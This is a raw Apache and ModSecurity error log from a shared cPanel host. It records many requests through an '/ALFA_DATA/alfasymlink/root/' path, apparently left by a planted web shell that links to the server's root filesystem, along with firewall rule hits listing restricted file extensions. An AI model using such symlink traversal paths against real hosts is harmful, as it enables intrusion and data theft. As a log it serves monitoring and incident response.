[Sat Oct 24 16:55:58.266154 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 3.217.82.254:62906] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory3/node0/cpu0/firmware_node/subsystem/drivers/ec/uevent
[Sat Oct 24 16:56:02.157558 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 98.82.66.172:48989] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:56:18.204897 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.236.135.14:16485] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:56:26.338809 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 34.205.163.103:12117] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:56:34.373434 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.207.47.227:36915] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:56:38.196655 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.45.92.83:30667] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:56:46.908634 2026] [security2:error] [pid 2693020:tid 2693020] [client 135.181.180.59:63296] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/front/installed_languages.inc"] [unique_id "at0bjjKiZtbKEGWJKoLSkQAAACE"]
[Sat Oct 24 16:56:46.909064 2026] [security2:error] [pid 2693020:tid 2693020] [client 135.181.180.59:63296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/front/installed_languages.inc"] [unique_id "at0bjjKiZtbKEGWJKoLSkQAAACE"]
[Sat Oct 24 16:56:46.909889 2026] [security2:error] [pid 2693020:tid 2693020] [client 135.181.180.59:63296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at0bjjKiZtbKEGWJKoLSkQAAACE"]
[Sat Oct 24 16:56:52.768252 2026] [security2:error] [pid 2692979:tid 2692979] [client 135.181.180.59:47306] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/front/session.inc"] [unique_id "at0blPavbqLdB7btCU-7SgAAABc"]
[Sat Oct 24 16:56:52.768675 2026] [security2:error] [pid 2692979:tid 2692979] [client 135.181.180.59:47306] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/front/session.inc"] [unique_id "at0blPavbqLdB7btCU-7SgAAABc"]
[Sat Oct 24 16:56:52.769579 2026] [security2:error] [pid 2692979:tid 2692979] [client 135.181.180.59:47306] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at0blPavbqLdB7btCU-7SgAAABc"]
[Sat Oct 24 16:56:54.286952 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 54.80.185.200:44222] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:57:02.221923 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.91.122.193:17898] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:57:10.434188 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 54.83.56.1:18600] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:57:14.262689 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 52.71.216.196:60934] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory14/node0/cpu1/subsystem/drivers_probe
[Sat Oct 24 16:57:14.651785 2026] [security2:error] [pid 2692918:tid 2692918] [client 185.191.171.12:42440] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/tcl8.6/encoding/cp852.enc"] [unique_id "at0bqrUNAjBk2uOT2T-E2gAAAAo"]
[Sat Oct 24 16:57:14.651823 2026] [security2:error] [pid 2692918:tid 2692918] [client 185.191.171.12:42440] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/tcl8.6/encoding/cp852.enc"] [unique_id "at0bqrUNAjBk2uOT2T-E2gAAAAo"]
[Sat Oct 24 16:57:22.211905 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.209.137.234:12957] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:57:26.274807 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 35.173.38.202:56035] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:57:34.288849 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.205.74.196:40076] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:57:38.207537 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.84.161.62:30699] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:57:50.252736 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.235.158.162:23111] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:57:58.211083 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.205.120.22:29352] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:58:14.196052 2026] [core:error] [pid 2692917:tid 2692917] (13)Permission denied: [client 34.196.6.199:23562] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:01/PNP0B00:00/physical_node/driver/00:00/subsystem/uevent
[Sat Oct 24 16:58:18.351805 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 85.208.96.206:31826] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_1k/red_zone
[Sat Oct 24 16:58:28.375341 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 185.191.171.3:48924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/destroy_by_rcu
[Sat Oct 24 16:58:29.437596 2026] [authz_core:error] [pid 2693039:tid 2693039] [client 45.198.224.125:42776] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 16:58:30.379847 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.227.234.246:53882] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:58:39.245812 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 107.20.181.148:21492] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:58:46.217782 2026] [ssl:error] [pid 2677776:tid 2677776] (5)Input/output error: [client 98.83.177.42:31359] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:58:58.209453 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 23.23.214.190:27252] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:59:07.865496 2026] [security2:error] [pid 2692917:tid 2692917] [client 185.191.171.10:16700] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/surround40.conf"] [unique_id "at0cG7bQ4HMkj2Xm_OsalQAAAAk"]
[Sat Oct 24 16:59:07.865924 2026] [security2:error] [pid 2692917:tid 2692917] [client 185.191.171.10:16700] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/surround40.conf"] [unique_id "at0cG7bQ4HMkj2Xm_OsalQAAAAk"]
[Sat Oct 24 16:59:07.866231 2026] [security2:error] [pid 2692917:tid 2692917] [client 185.191.171.10:16700] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/surround40.conf"] [unique_id "at0cG7bQ4HMkj2Xm_OsalQAAAAk"]
[Sat Oct 24 16:59:10.224329 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.213.102.186:43277] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:59:17.097116 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 185.191.171.13:32754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/usersize
[Sat Oct 24 16:59:26.222760 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.204.253.129:41591] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:59:46.059530 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 185.191.171.10:45374] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pool_workqueue/objs_per_slab
[Sat Oct 24 16:59:50.291050 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.227.234.246:25890] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:59:54.228062 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 54.145.82.217:17534] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:59:58.246142 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.200.54.136:38293] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:00:02.455578 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 98.84.200.43:39615] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:00:06.404388 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.234.206.30:11755] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:00:26.325678 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 44.207.207.36:16507] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:00:30.379678 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 54.198.33.233:28466] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/vmd/remove_id
[Sat Oct 24 17:00:34.293797 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.70.209.13:32238] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:00:39.686455 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 98.83.72.38:12490] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:00:42.841443 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.89.176.255:9414] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:00:46.299930 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 3.231.193.38:59726] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:00:50.496422 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.88.84.219:58587] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:00:54.268470 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 44.212.131.50:22037] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:00:58.499443 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 54.91.122.193:65147] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:05/subsystem/devices/LNXPWRBN:00/subsystem/drivers/ec/bind
[Sat Oct 24 17:00:58.889219 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 85.208.96.207:15240] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mbcache/objects
[Sat Oct 24 17:01:02.408421 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.194.14.255:11799] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:01:06.294921 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.194.233.48:30291] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:01:14.318929 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.210.223.61:57255] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:01:16.362564 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 185.191.171.18:45366] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:01:18.488658 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.82.40.168:37270] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:01:22.285697 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 98.82.63.147:21928] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:01:22.629250 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 85.208.96.202:59380] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_subflow/reclaim_account
[Sat Oct 24 17:01:26.658158 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 23.21.119.232:14733] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:01:30.274462 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.231.156.59:54494] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:01:34.648091 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.234.200.207:13132] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:01:38.303478 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 34.195.248.30:46054] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/new_id
[Sat Oct 24 17:01:42.532010 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 98.83.10.183:33704] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/bind
[Sat Oct 24 17:01:46.290304 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 52.4.76.156:35689] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:07/eject
[Sat Oct 24 17:01:50.984062 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.3.155.146:53129] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:01:54.409155 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.3.104.214:37954] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:01:58.953008 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 34.233.114.237:14591] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:02:02.310593 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.238.45.183:13259] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:02:06.428109 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 52.202.233.37:49509] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/new_id
[Sat Oct 24 17:02:15.017363 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.45.77.169:23850] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:02:23.623618 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.223.181.32:55365] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:02:31.114386 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.214.251.19:38373] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:02:39.011387 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.234.197.175:57903] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:02:42.352302 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.216.227.216:1618] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:02:46.356417 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.45.92.83:50585] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:02:50.497934 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 34.235.239.240:46341] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:02:55.489067 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 44.209.89.189:43536] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:02:58.625664 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.70.209.13:52625] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:03:06.499588 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 100.28.118.16:32343] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:03:10.343662 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 3.213.85.234:27137] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/subsystem/drivers/ac/bind
[Sat Oct 24 17:03:14.502018 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 52.71.216.196:42117] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:03:18.661868 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.44.148.203:25862] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:03:22.418084 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.54.157.23:43421] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:03:38.553370 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 34.204.150.196:7305] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:03:44.377481 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 98.82.214.73:13272] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:03:50.517028 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 54.156.124.2:3539] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:03:55.331968 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.221.105.234:17760] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:03:58.670304 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.200.93.170:32853] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:04:02.610209 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 98.82.59.253:45796] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:04:18.647045 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 44.221.227.90:3322] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:04:22.422980 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.194.233.48:54174] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:04:26.417025 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.211.148.239:23882] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:04:42.818244 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.156.124.2:47339] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:04:46.852272 2026] [security2:error] [pid 2693039:tid 2693039] [client 98.83.94.113:11721] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:04.0/power/"] [unique_id "at0dbmnPEtuFANQY3S7AXgAAAC0"]
[Sat Oct 24 17:04:46.852314 2026] [security2:error] [pid 2693039:tid 2693039] [client 98.83.94.113:11721] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:04.0/power/"] [unique_id "at0dbmnPEtuFANQY3S7AXgAAAC0"]
[Sat Oct 24 17:04:50.214628 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 185.191.171.16:45634] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:04:50.644579 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.152.163.42:26615] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:04:54.854152 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 107.23.62.75:50608] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:04:54.854350 2026] [security2:error] [pid 2692917:tid 2692917] [client 107.23.62.75:50608] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:0c/subsystem/devices/LNXCPU:01/physical_node/driver/cpu0/node0/memory1/state"] [unique_id "at0ddrbQ4HMkj2Xm_OsapAAAAAk"]
[Sat Oct 24 17:04:54.854383 2026] [security2:error] [pid 2692917:tid 2692917] [client 107.23.62.75:50608] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:0c/subsystem/devices/LNXCPU:01/physical_node/driver/cpu0/node0/memory1/state"] [unique_id "at0ddrbQ4HMkj2Xm_OsapAAAAAk"]
[Sat Oct 24 17:04:58.566624 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.3.102.51:36553] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:05:10.731691 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.214.19.8:40875] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:05:18.521517 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 54.197.82.195:44403] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:05:27.012045 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.147.182.90:57731] AH02013: coalesce failed to read from data bucket
